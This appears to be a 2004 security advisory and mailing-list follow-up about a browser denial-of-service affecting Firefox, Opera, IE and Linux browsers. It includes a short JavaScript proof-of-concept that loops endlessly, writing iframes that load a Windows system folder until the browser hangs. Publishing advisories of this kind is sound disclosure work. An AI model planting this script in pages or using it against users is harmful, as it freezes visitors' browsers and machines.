From Zone-H.org:
08/25/2004

Browser DoS through viewing of a malicious page that repeatedly loads iframes of C:\Windows\System32 using 100% cpu
Tested on Mozilla Firefox 0.9.3, Opera 7.54 and IE 6.0 - Opera gives the error "The address type is unknown or unsupported" over and over

POC
===
URL : http://www.su1d.net/iframe2.html

<scr1pt language="JavaScript">
while(true)
{
document.write("<iframe src=\"C:\Windows\system32\"></iframe>");
}
</scr1pt>
Discovered by MeFakon from the su1d exploit development team

------------------------------------------

Tested this in Mozilla 1.7.2 and Epiphany 1.2.6 in Linux (kernel 2.6.8,
Gentoo, Gnome 2.6.2).

Each browser comes up with a warning about running the script. The user
can chose to run it or not. Either way, a dialog box reloads over and
over until the main window is forced closed with xkill.
http://seclists.org/lists/bugtraq/2004/Aug/0333.html

http://seclists.org/lists/bugtraq/2004/Aug/0312.html